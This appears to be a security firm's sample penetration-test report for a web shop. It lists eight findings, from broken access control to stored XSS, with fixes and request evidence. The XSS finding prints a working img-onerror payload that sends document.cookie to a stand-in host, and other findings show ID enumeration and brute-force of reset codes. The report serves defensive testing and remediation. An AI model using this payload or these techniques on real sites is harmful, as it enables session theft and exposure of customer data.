A real Pro engagement with the client, hostnames and payload data replaced. Eight findings. This is the format you receive — filter it, open a finding, read the evidence.
FILTER All 8 Critical 1 High 2 Medium 3 Low 1 Info 1 8 of 8 shown Critical Order records readable by any signed-in user TS-0114-01 · GET /api/v1/orders/{id} ▲ closeAny authenticated customer could read every order in the system: names, addresses, line items and the last four digits of the card. 41,000 records were reachable from a fresh trial account.
Scope the query to the session owner in the data layer, not the controller. Add an ownership assertion to the shared order loader so every route inherits it, and add a regression test that a second user gets 404 rather than 403.
GET /api/v1/orders/88213 HTTP/2 Host: shop.example Cookie: sid=<tester-b, no relationship to order> HTTP/2 200 OK {"id":88213,"email":"REDACTED","total":"148.00", "address":{"line1":"REDACTED", ...}, "card_last4":"REDACTED"} → sequential IDs; 41,208 responded 200 to tester-b.
OWASP: A01 Broken Access Control Fix effort: Small — one middleware Verified by hand: yes High Stored cross-site scripting in the profile display name TS-0114-02 · POST /account/profile → rendered in /admin/users ▲ close
A customer-controlled field is rendered unescaped in the staff admin. A crafted display name executes in an administrator's browser and can act with their session — including creating another admin.
Escape on output in the admin template rather than filtering on input. The framework's auto-escaping is disabled for this partial; remove the raw filter and add a Content-Security-Policy that blocks inline script.
POST /account/profile display_name=<img src=x onerror="fetch('//earthshaker-proof.test/'+document.cookie)"> GET /admin/users → response body: <td><img src=x onerror="..."></td> → marker callback received from admin session at 14:22 UTC. → proof only: the callback logged a random token, not the cookie.
OWASP: A03 Injection Fix effort: Small — escape on output Verified by hand: yes High Session cookie set without Secure or HttpOnly TS-0114-03 · Set-Cookie: sid ▲ close
The session cookie is readable by JavaScript and transmitted over plain HTTP if a user ever reaches the site without TLS. It turns finding 02 from serious into complete account takeover.
Set Secure, HttpOnly and SameSite=Lax on the session cookie, and issue HSTS with a six-month max-age once you are confident every subdomain serves TLS.
HTTP/2 200 OK Set-Cookie: sid=eyJhbGci...; Path=/; Expires=Fri, 20 Mar 2026 → no Secure, no HttpOnly, no SameSite. → document.cookie returns the session identifier.OWASP: A05 Security Misconfiguration Fix effort: Trivial — three flags Verified by hand: yes Medium Password reset accepts unlimited attempts TS-0114-04 · POST /auth/reset/verify ▲ close
The six-digit reset code can be brute-forced. At the observed rate an attacker exhausts the keyspace for one account in about nine minutes from a single address, with no lockout and no alert.
Rate limit by account and by source, lock the code after five failures, expire codes after ten minutes, and email the account holder on repeated failures.
2,000 sequential POSTs from one IP in 61s → 2,000 × HTTP 400 "invalid code" → no 429, no lockout, no delay introduced (we stopped at 2,000; the code was not guessed)OWASP: A07 Identification & Authentication Failures Fix effort: Small — rate limit + lockout Verified by hand: yes Medium No Content-Security-Policy on any response TS-0114-05 · All HTML responses ▲ close
Nothing constrains where script may load from or run. Any injection finding becomes materially worse, and a compromised third-party tag has free rein over the checkout page.
Start in report-only mode with script-src 'self' plus your named vendors, collect violations for two weeks, then enforce. Remove inline handlers as you go rather than allowing unsafe-inline.
GET / HTTP/2 Response headers present: strict-transport-security: max-age=31536000 x-content-type-options: nosniff Absent: content-security-policy referrer-policy permissions-policyOWASP: A05 Security Misconfiguration Fix effort: Medium — needs an audit of inline script Verified by hand: yes Medium Stack traces returned to the browser on error TS-0114-06 · /api/v1/* on malformed input ▲ close
Error responses disclose framework version, file paths, ORM query fragments and the internal hostname of the database. None of it is exploitable alone; all of it shortens an attacker's reconnaissance.
Turn off debug output in production, return a generic error body with a correlation id, and log the detail server-side.
GET /api/v1/orders/'">< HTTP/2 500 {"error":"SequelizeDatabaseError", "sql":"SELECT * FROM orders WHERE id = '...", "stack":"/srv/app/src/orders/repo.js:88 ..."}
OWASP: A05 Security Misconfiguration Fix effort: Trivial — one env flag Verified by hand: yes Low jQuery 3.4.1 with a known prototype-pollution issue TS-0114-07 · /assets/vendor.min.js ▲ close
CVE-2019-11358. Not directly exploitable in the paths we tested, because no user-controlled object reaches $.extend — but it is one refactor away from mattering.
Upgrade to 3.5.0 or later. Add dependency scanning to CI so this arrives as a pull request rather than a pentest finding.
GET /assets/vendor.min.js → /*! jQuery v3.4.1 | (c) JS Foundation */ → no reachable $.extend(true, {}, userInput) path found in the tested routes.
OWASP: A06 Vulnerable & Outdated Components Fix effort: Small — bump the dependency Verified by hand: yes Info Directory listing enabled on the uploads path TS-0114-08 · GET /uploads/ ▲ close
The listing exposes every uploaded filename. Files are already public by design, so there is no confidentiality loss — but it hands over an inventory, and filenames contained customer surnames.
Disable autoindex, and store uploads under a non-guessable key rather than the original filename.
GET /uploads/ HTTP/2 HTTP/2 200 OK <title>Index of /uploads/</title> invoice-okafor-2025-11.pdf passport-scan-REDACTED.jpg ← flagged separately ...1,412 entriesOWASP: A01 Broken Access Control Fix effort: Trivial — one server directive Verified by hand: yes Get one of these for your app Save this as PDF Severity strata — drag to descend. Critical sits at the bottom because it is what you fix first.
We find the cracks before they do. Automated and human-verified security testing for web applications.
earthshakersecurity.com · contact@earthshakersecurity.com
Earthshaker Security